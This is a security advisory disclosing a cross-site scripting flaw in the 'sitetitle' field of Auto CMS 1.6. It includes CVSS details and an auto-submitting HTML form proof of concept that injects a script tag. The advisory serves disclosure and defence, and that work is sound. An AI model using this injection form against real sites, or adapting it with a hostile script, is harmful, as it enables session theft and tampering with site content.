Auto CMS XSS vulnerability

Credit: htbridge
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Vulnerability ID: HTB22564 Reference: Product: Auto CMS Vendor: Roberto Aleman ( ) Vulnerable Version: 1.6 and Probably Prior Versions Vendor Notification: 09 August 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing ( Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "autocms.php" script to properly sanitize user-supplied input in "sitetitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="site_name" value="AutoCMS by Roberto Aleman" /> <input type="hidden" name="site_url" value="index.php" /> <input type="hidden" name="sitetitle" value='AutoCMS by Roberto Aleman"><script>alert("XSS")</script>' /> <input type="hidden" name="admin_email" value="admin (at) example (dot) com [email concealed]" /> <input type="hidden" name="admin_password" value="" /> <input type="hidden" name="css_file" value="black.css" /> <input type="hidden" name="index_name_link" value="Index" /> <input type="hidden" name="about_name_link" value="About" /> <input type="hidden" name="about_content" value="put about text here" /> <input type="hidden" name="ps_name_link" value="" /> <input type="hidden" name="ps_content" value="put producs and services text here" /> <input type="hidden" name="news_name_link" value="News" /> <input type="hidden" name="news_content" value="Title Example1: Text Example1/Title Example2: Text Example2/" /> <input type="hidden" name="contact_name_link" value="Contact" /> <input type="hidden" name="update" value="update" /> </form> <script> document.main.submit(); </script>


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